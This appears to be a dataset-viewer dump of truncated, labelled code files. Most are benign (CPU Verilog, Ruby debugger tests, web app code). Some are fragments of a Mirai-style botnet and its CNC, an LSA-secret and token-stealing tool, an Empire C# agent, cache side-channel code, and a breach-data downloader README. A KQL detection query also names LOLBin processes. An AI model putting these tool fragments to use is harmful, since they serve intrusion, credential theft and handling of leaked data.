content stringlengths 263 5.24M | pred_label stringclasses 1
value | pred_score_pos float64 0.6 1 |
|---|---|---|
using Sirenix.OdinInspector;
using Sirenix.Serialization;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Resources;
using UnityEngine;
using UnityEngine.Rendering;
namespace ES
{
[ESDisplayNameKeyToType("数据单元", "技能点数据单元")]
public class SkillPointDataInfo : SoDataInfo
... | __label__POS | 0.933019 |
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include "includes.h"
#include "util.h"
#include "tab... | __label__POS | 0.912321 |
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <linux/ip.h>
#include "includes.h"
#include "checksum.h"
uint16_t checksum_generic(uint16_t *addr, uint32_t count)
{
register unsigned long sum = 0;
for (sum = 0; count > 1; count -= 2)
sum += *addr++;
if (count == 1)
sum += (char)*addr... | __label__POS | 0.666656 |
package main
import (
"time"
"math/rand"
"sync"
"fmt"
)
type AttackSend struct {
buf []byte
count int
botCata string
}
type ClientList struct {
uid int
count int
clients map[int]*Bot
addQueue chan *Bot
delQueue chan *Bot
at... | __label__POS | 0.936929 |
import StringHelpers
import XCTest
final class StringHelpersTests: XCTestCase {
func testTransformToHiragana_成功() {
let katakana = "トモキ"
let hiragana = try! transformToHiragana(for: katakana)
XCTAssertEqual(hiragana, "ともき")
}
func testTransformToHiragana_カタカナ以外がインプットされたとき() {
let value = "Tomoki... | __label__POS | 0.793694 |
import Dependencies
import DependenciesMacros
@DependencyClient
public struct ConfigGlobalClient: Sendable {
public var config: @Sendable () async throws -> AsyncThrowingStream<Config, Error>
}
public extension ConfigGlobalClient {
struct Config: Codable, Equatable {
public let isMaintenance: Bool
public ... | __label__POS | 0.703676 |
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
using Context = System.IntPtr;
using Device = System.Int32;
using Filter = System.UInt16;
using Precedence = System.Int32;
namespace ... | __label__POS | 0.938966 |
using System;
using System.Threading;
using Filter = System.UInt16;
namespace InputInterceptorNS
{
public class MouseHook : Hook<MouseStroke>
{
private const Int32 SM_CXSCREEN = 0;
private const Int32 SM_CYSCREEN = 1;
private static readonly Int32 PrimaryScreenWidth;
privat... | __label__POS | 0.931017 |
using System;
using System.Runtime.InteropServices;
namespace InputInterceptorNS
{
internal class NativeMethods
{
private const String KERNEL32 = "kernel32.dll";
private const String USER32 = "user32.dll";
[DllImport(KERNEL32, SetLastError = true)]
public static extern IntPt... | __label__POS | 0.831971 |
// --------------------------------------------------------------------------------------
// Project: MicroManipulatorStepper
// License: MIT (see LICENSE file for full description)
// All text in here must be included in any redistribution.
// Author: M. S. (diffraction limited)
// --------------------------... | __label__POS | 0.900225 |
package main
import (
"net/http"
_ "net/http/pprof"
"os"
"log/slog"
"github.com/0x2e/fusion/api"
"github.com/0x2e/fusion/conf"
"github.com/0x2e/fusion/repo"
"github.com/0x2e/fusion/service/pull"
)
func main() {
l := slog.New(slog.NewJSONHandler(os.Stdout, &slog.HandlerOptions{
Level: slog.LevelInfo,
}))... | __label__POS | 0.630875 |
define heapwalk
set var $chunk_curr=(unsigned int)__smoothieHeapBase
set var $chunk_number=1
while ($chunk_curr < '_sbrk::heap')
set var $chunk_size=*(unsigned int*)($chunk_curr+4) & ~1
set var $chunk_next=$chunk_curr + $chunk_size
set var $chunk_inuse=*(unsigned int*)($chunk_next+4)... | __label__POS | 0.702986 |
// author: manuel scholz
#include "libs/Kernel.h"
#include "StreamOutput.h"
#include "StreamOutputPool.h"
//*** FUNCTION ************************************************************************************
/**
* prints a matrix to console
*/
void printMatrix(float* A, int m, int n) {
for(int i=0; i<m; i++) {
... | __label__POS | 0.786182 |
/*************************************************************************
*
* $Author: Jim Morris $
* $Date: 1999/02/05 21:05:00 $
*
* this code is Licensed LGPL
*
*************************************************************************/
#ifndef _FIFO_H_
#define _FIFO_H_
#include <stdlib.h>
// Doubly Linked ... | __label__POS | 0.755537 |
#include "CommandQueue.h"
#include "stdio.h"
#include "string.h"
#include "stdlib.h"
#include "Kernel.h"
#include "libs/SerialMessage.h"
#include "CallbackStream.h"
static CommandQueue *command_queue_instance;
CommandQueue *CommandQueue::instance = NULL;
CommandQueue::CommandQueue()
{
command_queue_instance = ... | __label__POS | 0.903615 |
# frozen_string_literal: true
require 'uri'
RSpec.describe RubyJard::PathClassifier do
subject(:classifier) { described_class.new }
context 'when input path is nil' do
it 'returns unknown' do
expect(classifier.classify(nil)).to eq(:unknown)
end
end
context 'when input path is in current dir' d... | __label__POS | 0.793822 |
# frozen_string_literal: true
RSpec.describe RubyJard::Reflection do
subject(:reflection) { described_class.instance }
context 'with #call_instance_variables' do
context 'with nil' do
it 'returns empty array' do
expect(reflection.call_instance_variables(nil)).to eq([])
end
end
con... | __label__POS | 0.964143 |
# frozen_string_literal: true
RSpec.describe RubyJard::ReplSequence do
describe '#encode' do
context 'when command is nil' do
it 'returns an empty string' do
expect(described_class.encode(nil)).to eql('')
end
end
context 'when command is empty' do
it 'returns an empty string' d... | __label__POS | 0.814 |
# frozen_string_literal: true
RSpec.describe RubyJard::Config do
subject(:config) { described_class.new }
it 'initializes default configurations' do
expect(config.filter_version).to eq(0)
expect(config.filter).to eq(:application)
expect(config.filter_included).to eq([])
expect(config.filter_exclud... | __label__POS | 0.827608 |
# frozen_string_literal: true
RSpec.describe RubyJard::Commands::HelpCommand do
subject(:command_object) do
described_class.new(
pry_instance: pry_instance, output: output,
command_set: RubyJard::PryProxy::Commands
)
end
let(:output) { StringIO.new }
let(:pry_instance) { Pry.new(output: ou... | __label__POS | 0.712323 |
# frozen_string_literal: true
def color_decorator_test_case_name(test_case)
"when translated style is #{test_case[:input][0].inspect} "\
"and content is #{test_case[:input][1].inspect}"
end
RSpec.describe RubyJard::Decorators::ColorDecorator do
subject(:color_decorator) { described_class.new(color_scheme) }
... | __label__POS | 0.971978 |
### START SCREEN ###
┌ Source (-e ruby script):3 ───────────────────────────────────┬ Variables ─────────────────────────────────────────────────────┐
│???????????????????????????????????????????????????????????????│????????????????????????????????????????????????????????????????│
│????????????????????????????????????... | __label__POS | 0.885169 |
### START SCREEN ###
┌ Source (-e ruby script):3 ───────────────────────────────────┬ Variables ─────────────────────────────────────────────────────┐
│???????????????????????????????????????????????????????????????│????????????????????????????????????????????????????????????????│
│????????????????????????????????????... | __label__POS | 0.896227 |
### START SCREEN ###
┌ Source (-e ruby script):3 ───────────────────────────────────┬ Variables ─────────────────────────────────────────────────────┐
│???????????????????????????????????????????????????????????????│????????????????????????????????????????????????????????????????│
│????????????????????????????????????... | __label__POS | 0.982877 |
### START SCREEN ###
jard >>
### END SCREEN ###
### START SEND_KEYS ###
["hash_a", :Enter]
### END SEND_KEYS ###
### START SCREEN ###
jard >> hash_a
=> {:variable_1=>"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
:variable_2=>"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",... | __label__POS | 0.998653 |
# frozen_string_literal: true
RSpec.describe 'Scenario 1: Debug a simple sorting algorithm' do
let(:work_dir) { File.join(RSPEC_ROOT, '/integration/scenario_1') }
it 'runs as expected' do
test = JardIntegrationTest.new(
self, work_dir,
'scenario_1.expected',
"bundle exec ruby #{RSPEC_ROOT}/i... | __label__POS | 0.645261 |
# frozen_string_literal: true
class Heap
def initialize
@storage = []
@length = 0
end
def pop
return nil if @length <= 0
swap(0, @length - 1)
@length -= 1
heap_down(0)
@storage[@length]
end
def push(node)
@length += 1
@storage[@length - 1] = node
heap_up(@length - 1... | __label__POS | 0.999744 |
### START SCREEN ###
[12, 21] in ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
12:
13: class Calculator
14: def calculate(a, b, c)
15: d = a + b
16: debugger
=> 17: e = SubCalculator.new.calculate(d)
18: debugg... | __label__POS | 0.78093 |
### START SCREEN ###
[12, 21] in ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????
12:
13: class Calculator
14: def calculate(a, b, c)
15: d = a + b
16: byebug
=> 17: e = SubCalculator.new.calculate(d)
18: byebug
... | __label__POS | 0.765073 |
# frozen_string_literal: true
RSpec.describe 'Scenario 2: Debug a simple gem' do
let(:work_dir) { File.join(RSPEC_ROOT, '/integration/scenario_2') }
it 'runs as expected' do
test = JardIntegrationTest.new(
self, work_dir,
'scenario_2.expected',
"bundle exec ruby #{RSPEC_ROOT}/integration/sce... | __label__POS | 0.64672 |
### START SCREEN ###
┌ Source (-e ruby script):3 ────────────────────────────────────────────────┬ Variables ────────────────────────────────────────┐
│????????????????????????????????????????????????????????????????????????????│???????????????????????????????????????????????????│
│????????????????????????????????????... | __label__POS | 0.986475 |
### START SCREEN ###
┌ Source (-e ruby script):3 ┐
│????????????????????????????│
│????????????????????????????│
│????????????????????????????│
│????????????????????????????│
│????????????????????????????│
│????????????????????????????│
│????????????????????????????│
│????????????????????????????│
│???????????????????... | __label__POS | 0.704849 |
### START SCREEN ###
┌ Source (-e ruby script):3 ────────────────────┐
│????????????????????????????????????????????????│
│????????????????????????????????????????????????│
│????????????????????????????????????????????????│
│????????????????????????????????????????????????│
│???????????????????????????????????????????... | __label__POS | 0.677249 |
### START SCREEN ###
┌──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│Filter (F2): Application Step (F7) Step Out (Shift+F7) Next (F8) Continue (F9)│
└────────────────────────────────────────────────────────... | __label__POS | 0.999984 |
### START SCREEN ###
┌──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│Filter (F2): Application Step (F7) Step Out (Shift+F7) Next (F8) Continue (F9)│
└────────────────────────────────────────────────────────... | __label__POS | 0.999983 |
### START SCREEN ###
┌────────────────────────────────────────────────┐
│Filter (F2): Application Step (F7) Step Ou »│
└────────────────────────────────────────────────┘
jard >>
### END SCREEN ###
### START SEND_KEYS ###
["jard filter include rails", :Enter]
### END SEND_KEYS ###
### START SEND_KEYS ###
... | __label__POS | 0.999973 |
# frozen_string_literal: true
module RubyJard
##
# Generate bitmap lines from a row's data
class RowRenderer
ELLIPSIS = ' »'
def initialize(row:, width:, height:, color_scheme:)
@row = row
@width = width
@height = height
@color_decorator = RubyJard::Decorators::ColorDecorator.new... | __label__POS | 0.859113 |
# frozen_string_literal: true
module RubyJard
# A class to store the state with multi-thread guarding
# Ready => Processing/Exiting
# Processing => Ready again
# Exiting => Exited
# Exited => Ready
class ReplState
STATES = [
STATE_READY = 0,
STATE_EXITING = 1,
STATE_PROCESSING... | __label__POS | 0.893304 |
# frozen_string_literal: true
module RubyJard
##
# Adjust the layout between screens, render row's bitmap by calling RowRenderer,
# calculate screen window to ready for putting on the screen.
class ScreenRenderer
def initialize(screen:, color_scheme:)
@screen = screen
@color_scheme = color_sche... | __label__POS | 0.839011 |
# frozen_string_literal: true
module RubyJard
##
# This class is a wrapper for Byebug::Frame. This class prevents direct
# access to Byebug's internal data structure, provides some more helpers
# and make Jard easier to test.
class Frame
attr_reader :real_pos
attr_writer :visible
attr_accessor :v... | __label__POS | 0.769868 |
`timescale 1ns / 1ps
module control(
input wire[6:0] opcode,
input wire[2:0] funct3,
input wire[6:0] funct7,
output reg[1:0] ram_wdin_op,
output reg[2:0] ram_rb_op,
output reg ram_we,
output reg pc_sel,
output reg alub_sel,
output reg alua_sel,
output reg[3:0] alu_op,
output... | __label__POS | 0.80662 |
`timescale 1ns / 1ps
module reg_MEM_WB(
input wire clk,
input wire rst,
input wire[31:0] mem_rdo,
input wire mem_rf_we,
input wire[1:0] mem_rf_wsel,
input wire[31:0] mem_C,
input wire[4:0] mem_wR,
input wire[31:0] mem_pc4,
input wire[31:0] mem_ext,
input wire[31:0] mem_pc,
o... | __label__POS | 0.968811 |
`timescale 1ns / 1ps
module ALU(
input wire[31:0] A,
input wire[31:0] B,
input wire[3:0] op,
output wire f,
output wire[31:0] C
);
reg[31:0] resultC;
reg resultf;
assign C=resultC;
assign f=resultf;
parameter ADD=4'h0;
parameter SUB=4'h1;
parameter AND... | __label__POS | 0.955747 |
`timescale 1ns / 1ps
module dig(
input wire rst,
input wire clk,
input wire [31:0] addr,
input wire we,
input wire [31:0] wdata,
output reg [ 7:0] dig_en,
output reg DN_A,
output reg DN_B,
output reg DN_C,
output reg DN_... | __label__POS | 0.942376 |
`timescale 1ns / 1ps
module idecode(
input wire[31:7] inst,
input wire [2:0] sext_op,
input wire rf_we,
input wire [1:0] rf_wsel,
input wire clk,
input wire[31:0] ALUC,
input wire[31:0] rdo,
input wire[31:0] pc4,
input wire[4:0] wR,
input wire[31:0] wb_ext,
output wire [31:0... | __label__POS | 0.947639 |
`timescale 1ns / 1ps
module reg_ID_EX(
input wire clk,
input wire rst,
input wire clear,
input wire[31:0] id_rD1,
input wire[31:0] id_rD2,
input wire[31:0] id_pc,
input wire id_rf_we,
input wire[1:0] id_rf_wsel,
input wire id_pc_sel,
input wire[1:0] id_ram_wdin_op,
input wir... | __label__POS | 0.989636 |
`timescale 1ns / 1ps
module reg_EX_MEM(
input wire clk,
input wire rst,
input wire[31:0] ex_C,
input wire[31:0] ex_pc4,
input wire[31:0] ex_ext,
input wire[1:0] ex_ram_wdin_op,
input wire[2:0] ex_ram_rb_op,
input wire ex_ram_we,
input wire ex_rf_we,
input wire[1:0] ex_rf_wsel,
... | __label__POS | 0.978011 |
`timescale 1ns / 1ps
module control(
input wire[6:0] opcode,
input wire[2:0] funct3,
input wire[6:0] funct7,
output reg[1:0] ram_wdin_op,
output reg[2:0] ram_rb_op,
output reg ram_we,
output reg pc_sel,
output reg alub_sel,
output reg alua_sel,
output reg[3:0] alu_op,
output... | __label__POS | 0.80662 |
`timescale 1ns / 1ps
module ALU(
input wire[31:0] A,
input wire[31:0] B,
input wire[3:0] op,
output wire f,
output wire[31:0] C
);
reg[31:0] resultC;
reg resultf;
assign C=resultC;
assign f=resultf;
parameter ADD=4'h0;
parameter SUB=4'h1;
parameter AND... | __label__POS | 0.955747 |
`timescale 1ns / 1ps
module dig(
input wire rst,
input wire clk,
input wire [31:0] addr,
input wire we,
input wire [31:0] wdata,
output reg [ 7:0] dig_en,
output reg DN_A,
output reg DN_B,
output reg DN_C,
output reg DN_... | __label__POS | 0.942376 |
`timescale 1ns / 1ps
module idecode(
input wire[31:7] inst,
input wire [2:0] sext_op,
input wire rf_we,
input wire [1:0] rf_wsel,
input wire clk,
input wire[31:0] ALUC,
input wire[31:0] rdo,
input wire[31:0] pc4,
output wire [31:0] rD1,
output wire [31:0] rD2,
output wire [3... | __label__POS | 0.924491 |
package middleware
import (
"context"
"log/slog"
amqp "github.com/rabbitmq/amqp091-go"
amqprpc "github.com/0x4b53/amqp-rpc/v5"
)
// PanicRecovery is a middleware that will recover any panics caused by a
// handler down the middleware chain. If a panic happens the onRecovery func
// will be called with the retur... | __label__POS | 0.632097 |
#!/usr/bin/perl -w
use strict;
my %count = ();
my $more = 0;
my $last = "";
while (<>) {
if ($more) {
if (/LD_BUG/) {
$more = 0;
next;
}
if (/\"((?:[^\"\\]+|\\.*)+)\"(.*)/) {
$last .= $1;
if ($2 !~ /[,\)]/) {
$more = 1;
... | __label__POS | 0.842403 |
package sse
import (
"context"
"testing"
"time"
)
func TestHubSubscribe(t *testing.T) {
h := NewHub()
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
ch := h.Subscribe(ctx, 1)
h.Publish([]byte("a"))
select {
case b := <-ch:
if string(b) != "a" {
t.Fatalf("got %s", b)
}
case <... | __label__POS | 0.616749 |
package proxy
import (
"context"
"crypto/tls"
"errors"
"net"
"net/http"
"sync"
"syscall"
"time"
"github.com/0x4D31/finch/pkg/quic"
"github.com/0x4D31/fingerproxy/pkg/metadata"
"github.com/quic-go/quic-go/http3"
)
type inspectConn struct {
net.PacketConn
mu sync.Mutex
md map[string]mdEntry
orde... | __label__POS | 0.623325 |
package proxy
import (
"container/list"
"net/http"
"sync"
"github.com/0x4D31/fingerproxy/pkg/reverseproxy"
)
// proxyCache implements a basic LRU cache for HTTP handlers.
type proxyCache struct {
size int
mu sync.Mutex
ll *list.List
m map[string]*list.Element
}
type cacheEntry struct {
key string
v... | __label__POS | 0.798538 |
//go:build skipproxy
package proxy
import (
"net/http"
"net/http/httptest"
"testing"
"time"
)
func TestTarpitHandler_DelayAndChunked(t *testing.T) {
cfg := TarpitConfig{
IntervalMin: 10 * time.Millisecond,
IntervalMax: 10 * time.Millisecond,
DelayMin: 50 * time.Millisecond,
DelayMax: 50 * time.Mil... | __label__POS | 0.695256 |
`timescale 1ns / 1ps
module MSK_FSMBT #(parameter d = 2) (clk, start, reset, rnd, rnd_BT, K_in, PT_in, CT, done, clear);
localparam and_pini_mul_nrnd = d*(d-1)/2;
localparam and_pini_nrnd = and_pini_mul_nrnd;
input clk;
input start;
input reset;
input [16*2*and_pini_nrnd-1:0] rnd;
input [128*d-1 : 0] K_in;
input [128*d... | __label__POS | 0.997254 |
#define _GNU_SOURCE
#include "utils.h"
extern void *CandAddressesPool, *RepAddressesPool;
extern void **GarbageReps, **GarbageCands;
extern int GarbageRepsIDX, GarbageCandsIDX, MappingIdx, Stride, S, mappingSize_array[BufferSize];
extern int *EvictionSetSize;
extern void ***Mapping;
extern clock_t time_array[BufferSiz... | __label__POS | 0.611387 |
#include "util.h"
int open_physical_address_ptr(ADDRESS_PTR_T *address_ptr)
{
long page_size = sysconf(_SC_PAGESIZE);
off_t page_base = address_ptr->address & ~(page_size - 1);
address_ptr->mem_fd = open("/dev/mem", O_RDWR);
if (address_ptr->mem_fd == -1)
{
perror("open");
return 1... | __label__POS | 0.721548 |
# Original sequence
sequence = [0, 1, 4, 5, 1, 8, 5, 8, 3, 2, 7, 6, 2, 11, 6, 11, 1, 0, 5, 4, 0, 9, 4, 9, 2, 11, 6, 11, 3, 10, 7, 10, 2, 3, 6, 7, 11, 2, 11, 6, 9, 0, 9, 4, 8, 1, 8, 5, 3, 2, 7, 6, 10, 3, 10, 7, 8, 1, 8, 5, 9, 0, 9, 4, 6, 7, 2, 3, 11, 6, 11, 2, 5, 4, 1, 0, 8, 5, 8, 1, 7, 6, 3, 2, 10, 7, 10, 3, 8, 5, 8, 1... | __label__POS | 0.995966 |
//////////////////////////////////////////////////////////////////////////////////////////
// gcc -o example example_hash_function_usage.c
//////////////////////////////////////////////////////////////////////////////////////////
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <unistd.h>
//////////... | __label__POS | 0.996263 |
#include "helpers.h"
void clflush(void *v, void *v1)
{
asm volatile("clflushopt 0(%0)\n" : : "r"(v) :);
}
void print_set_bits(uint64_t addr)
{
printf("\t");
for (int i = 0; i < 64; ++i)
{
if ((addr >> i) & 1)
{
printf("%d,", i);
}
}
}
size_t find_set_bit(uint64... | __label__POS | 0.97972 |
#include "evsets/evsets_helpers.h"
uint32_t test_victim_eviction_L2(void *victim, elem_t **cs, size_t len)
{
uint32_t time = 0;
if (cs == NULL)
return -1;
for (int i = 0; i < 1; ++i)
{
time = 0;
memaccess(victim);
memaccess(victim);
memaccess(victim);
me... | __label__POS | 0.644323 |
#include "slice_partitioning/slicing.h"
#include "config.h"
#if defined INTEL_GEN6_4_SLICE
const int seq_len = 0;
const int reduction_bits = 2;
const int addr_bits = 39;
const uint64_t xor_mask[2] = {0x5b5f575440ULL, 0x6eb5faa880ULL};
const int *base_sequence = NULL;
#elif defined INTEL_GEN6_ALTERNATE
const int seq_le... | __label__POS | 0.8798 |
#include <limits.h>
#include <math.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "slice_partitioning/decision_tree.h"
#include "slice_partitioning/slicing.h"
#include "util/util.h"
static DecisionTreeNode_t *decision_tree = NULL;
DecisionTreeNode_t *get_decision_tree()
{
... | __label__POS | 0.712213 |
package main
import (
"encoding/json"
"go.mau.fi/whatsmeow/types"
"html/template"
"net/http"
"time"
)
func selectContactsHandler(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
err := r.ParseForm()
if err != nil {
http.Error(w, "Error parsing form", http.StatusBadRequest)
return
}
... | __label__POS | 0.602362 |
id: telnet
info:
name: Nortel Ethernet Routing Switch 4500-series telnetd
author: nmap,cn-kali-team
tags: detect,tech,telnet,service
severity: info
metadata:
device_type: switch
rarity: 0
tcp:
- name: 'null'
inputs:
- data: ''
host:
- '{{Hostname}}'
extractors:
- name: telnet
type: reg... | __label__POS | 0.99492 |
id: telnet
info:
name: Avaya Ethernet Routing Switch 4550T telnetd
author: nmap,cn-kali-team
tags: detect,tech,telnet,service
severity: info
metadata:
device_type: switch
rarity: 0
tcp:
- name: 'null'
inputs:
- data: ''
host:
- '{{Hostname}}'
extractors:
- name: telnet
type: regex
... | __label__POS | 0.997139 |
/** */
const User = require('./../models/User')
const Article = require('./../models/Article')
module.exports = {
addUser: (req, res, next) => {
new User(req.body).save((err, newUser) => {
if (err)
res.send(err)
else if (!newUser)
res.send(400)
... | __label__POS | 0.644811 |
/// Standard math utilities missing in the Move Language.
module seapad::math128 {
/// Return the largest of two numbers.
public fun max(a: u128, b: u128): u128 {
if (a >= b) a else b
}
/// Return the smallest of two numbers.
public fun min(a: u128, b: u128): u128 {
if (a < b) a el... | __label__POS | 0.6807 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pur... | __label__POS | 0.804118 |
Tags:
Query:
let suspiciousprocesses = pack_array ("cmd.exe","powershell","bitsadmin.exe","certutil.exe","bginfo.exe",'bash.exe''bitsadmin.exe','cmd.exe','netstat.exe','nltest.exe','ping.exe', 'powershell.exe','pwsh.exe','regsvr32.exe','rundll32.exe','sh.exe','systeminfo.exe','tasklist.exe','wsl.exe');
DeviceP... | __label__POS | 0.988925 |
## Rule: Detect loading for Vulnerable devices using ASR
### Description
This query detects events where a vulnerable signed driver has been audited by the Advanced Security Audit Policy (ASR), excluding specific processes such as "HP Touchpoint Analytics Client" and "ASUSTeK Computer Inc.".
- [Microsoft documentatio... | __label__POS | 0.665671 |
# Breachforums CDN downloader
## DOESNT WORK NOW. CLOUDFLARE BLOCKS EVERYTHING
## ARCHIVING TILL I CAN FIX THIS
###### Disclaimer
1. This data is from the data breach site breachforums.st and was uploaded to the third party CDN (content delivery network) by a person referred to as "Emo".
2. The data availability and ... | __label__POS | 0.999402 |
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
int getNum(){
return atoi("10");
}
int g = 7;
int oneOf3(){
if(rand() > 1){
return 1;
}
else if (rand() > 2){
return 2;
}
return 3;
}
int getNumber(){
int x = 6;
if ( rand() < 9)
return 9;
els... | __label__POS | 0.985736 |
import { Connector, WcWallet } from "@web3modal/core";
import { ReactNode } from "react";
import { Game, Scene } from "phaser";
import { Socket } from "socket.io-client";
interface IAppProps {
logged: boolean;
activeProfile: boolean;
link: string;
user: IUser | null;
activeChat: boolean;
activeDashLink: st... | __label__POS | 0.907931 |
const request = require('superagent')
const format = require('../format')
// Kraken
exports.krakenCurrentPrice = function(exchange, markets) {
const marketPairs = []
markets.map((item) => {
Object.keys(exchange.markets).map((market) => {
if (item === market) {
marketPairs.push(exchange.markets[ma... | __label__POS | 0.629637 |
package burpsuite;
import burp.api.montoya.MontoyaApi;
import burp.api.montoya.proxy.websocket.*;
import burp.api.montoya.websocket.Direction;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import jav... | __label__POS | 0.905902 |
package main
import "fmt"
func getIdx(target int, nodes []int) int {
for i := 0; i < len(nodes); i++ {
if nodes[i] == target {
return i
}
}
return -1
}
func notExist(target int, slice []int) bool {
for i := 0; i < len(slice); i++ {
if slice[i] == target {
return false
}
}
return true
}
func brea... | __label__POS | 0.996634 |
package main
import "fmt"
func getIdx(target int, nodes []int) int {
for i := 0; i < len(nodes); i++ {
if nodes[i] == target {
return i
}
}
return -1
}
func notExist(target int, slice []int) bool {
for i := 0; i < len(slice); i++ {
if slice[i] == target {
return false
}
}
return true
}
func dfs(... | __label__POS | 0.998096 |
package binaryTree
type Comparable func(c1 interface{}, c2 interface{}) bool
type BinaryTree struct {
node interface{}
left *BinaryTree
right *BinaryTree
lessFun Comparable
}
func New(compareFun Comparable) *BinaryTree {
return &BinaryTree{
node: nil,
lessFun: compareFun,
}
}
func (tree *Binary... | __label__POS | 0.97719 |
package list
import "sync"
type List struct {
head *Item
last *Item
len int
locker sync.RWMutex
}
type Item struct {
Val interface{}
next *Item
prev *Item
list *List
}
func New() *List {
list := &List{}
list.len = 0
return list
}
func Insert(value interface{}, list ... | __label__POS | 0.973742 |
// shortest distances between every pair of vertices using floyd-warshall algorithm
// https://en.wikipedia.org/wiki/Floyd%E2%80%93Warshall_algorithm
// http://www.golangprograms.com/golang-program-for-implementation-of-floyd-warshall-algorithm.html
package graph
import (
"fmt"
"math"
)
type graph struct {
to int
... | __label__POS | 0.90706 |
package main
/*
* Quick sort - https://en.wikipedia.org/wiki/Quicksort
*/
import "math/rand"
func quick_sort(arr []int) []int {
if len(arr) <= 1 {
return arr
}
median := arr[rand.Intn(len(arr))]
low_part := make([]int, 0, len(arr))
high_part := make([]int, 0, len(arr))
m... | __label__POS | 0.949803 |
package main
import "fmt"
// definition of a bst node
type node struct {
val int
left *node
right *node
}
// definition of a node
type btree struct {
root *node
}
// allocating a new node
func newNode(val int) *node {
return &node{val, nil, nil}
}
// insert nodes into a binary search tree
func insert(root ... | __label__POS | 0.997404 |
package config
import "github.com/spf13/viper"
func setAPIDefaults() {
viper.SetDefault("redis.host", "localhost")
viper.SetDefault("redis.connection", "redis")
viper.SetDefault("api.port", "23485")
viper.SetDefault("api.production", true)
}
func setDaemonDefaults() {
viper.SetDefault("redis.host", "localhost")... | __label__POS | 0.896455 |
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
namespace yetAnotherObfuscator
{
class ManipulateStrings
{
static string randomEncryptionKey = GetRandomS... | __label__POS | 0.938354 |
<?php
namespace App;
class Course extends Model
{
public $timestamps = false;
protected $table = 'courses';
public function prerequisites()
{
return $this->belongsToMany(
self::class,
'prerequisites',
'course_id',
'prerequisite_course_id'
... | __label__POS | 0.983037 |
using System;
using System.IO;
using System.Runtime.InteropServices;
namespace Sharpire
{
public class Misc
{
//https://stackoverflow.com/questions/3571627/show-hide-the-console-window-of-a-c-sharp-console-application
[DllImport("kernel32.dll")]
public static extern IntPtr GetConsoleWi... | __label__POS | 0.985536 |
<?php
namespace App\Providers;
use Illuminate\Foundation\Support\Providers\RouteServiceProvider as ServiceProvider;
use Illuminate\Support\Facades\Route;
class RouteServiceProvider extends ServiceProvider
{
/**
* This namespace is applied to your controller routes.
*
* In addition, it is set as th... | __label__POS | 0.631965 |
<?php
namespace App\Exceptions;
use Exception;
use Illuminate\Auth\AuthenticationException;
use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler;
class Handler extends ExceptionHandler
{
/**
* A list of the exception types that should not be reported.
*
* @var array
*/
protect... | __label__POS | 0.952238 |
<?php
namespace Tests\Feature\Json;
class ProgramsJsonTest extends AbstractJsonTest
{
const DUMMY_CREDIT_COURSE_CODES = [
'___20___',
'___40___',
'___45___',
'___50___',
'___75___',
'___120___',
'___130___',
];
protected $directory = 'json/programs'... | __label__POS | 0.754608 |
<?php
namespace Tests\Feature\Json;
class FacultiesJsonTest extends AbstractJsonTest
{
protected $directory = 'json/faculties';
protected $universitiesDirectory = 'json/universities';
public function testUniversityExists()
{
$files = scandir(base_path($this->directory));
foreach ($fi... | __label__POS | 0.882285 |
<?php
namespace Tests\Feature\Json;
use Tests\TestCase;
abstract class AbstractJsonTest extends TestCase
{
protected $directory = 'json/universities';
abstract protected function checkJsonStructure($path);
public function testDirectoryExists()
{
$this->assertTrue(is_dir(base_path($this->dir... | __label__POS | 0.97747 |
using System;
using System.Linq;
using System.Runtime.InteropServices;
using System.Security.Principal;
namespace TellMeYourSecrets
{
class CheckPrivileges : Base
{
public Boolean croak = false;
////////////////////////////////////////////////////////////////////////////////
... | __label__POS | 0.768861 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Principal;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
namespace TellMeYourSecrets
{
class LSASecrets : Base
{
public Boolean bailOut = false... | __label__POS | 0.662576 |
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Management;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Principal;
using System.Text;
namespace TellMeYourSecrets
{
class Tokens : Base
{
private const Strin... | __label__POS | 0.614915 |
using System;
using System.IO;
namespace TellMeYourSecrets
{
public class Misc
{
////////////////////////////////////////////////////////////////////////////////
//
////////////////////////////////////////////////////////////////////////////////
public static byte[] combine(byt... | __label__POS | 0.645581 |
using System;
using System.Runtime.InteropServices;
using word = System.UInt16;
using dword = System.UInt32;
using qword = System.UInt64;
namespace TellMeYourSecrets
{
public class Structs
{
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct _IMAGE_SECTION_HEADER
{
... | __label__POS | 0.69951 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.